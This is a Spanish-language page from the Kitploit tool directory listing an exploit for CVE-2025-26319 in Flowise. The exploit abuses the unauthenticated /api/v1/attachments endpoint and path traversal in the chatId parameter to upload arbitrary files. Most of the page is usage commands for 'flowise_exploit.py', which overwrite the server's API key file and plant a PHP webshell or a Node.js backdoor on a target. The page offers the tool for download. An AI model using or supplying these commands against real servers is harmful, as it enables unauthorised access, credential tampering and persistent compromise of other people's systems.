Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
CVE-2025-26319 — Exploit para CVE-2025-26319 dirigido al endpoint /api/v1/attachments de Flowise, que permite la carga de archivos arbitrarios sin autenticación y la generación de webshells mediante path traversal. | Kitploit
Herramientas/GitHubGitHub/redpack-kr/cve-2025-26319
Generación de PayloadsAnálisis de VulnerabilidadesExplotaciónExplotación de Aplicaciones WebPruebas de PenetraciónRed Teaming
GitHubredpack-kr/cve-2025-26319

CVE-2025-26319

Exploit para CVE-2025-26319 dirigido al endpoint /api/v1/attachments de Flowise, que permite la carga de archivos arbitrarios sin autenticación y la generación de webshells mediante path traversal.

Ver Repositorio
hace 1 añoAún no revisado

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

CVE-2025-26319

  1. Subida básica de archivos python flowise_exploit.py -u http://target:3000 -f local_file.txt -d /path/on/server/file.txt
  2. Subir archivo de configuración

Modificar configuración de clave API

python flowise_exploit.py -u http://target:3000 -f new_api.json -d /root/.flowise/api.json 3. Generar y subir Webshell automáticamente

Subir Webshell PHP

python flowise_exploit.py -u http://target:3000 --generate-webshell php --webshell-path /var/www/html/shell.php

Subir backdoor Node.js

python flowise_exploit.py -u http://target:3000 --generate-webshell nodejs --webshell-path /tmp/backdoor.js

Principio del ataque La ruta /api/v1/attachments está en la lista blanca, por lo que no requiere autenticación Mediante la manipulación del parámetro chatId se realiza un path traversal (../../../) Subir cualquier archivo a cualquier ubicación del sistema de archivos del servidor.

Descargar herramienta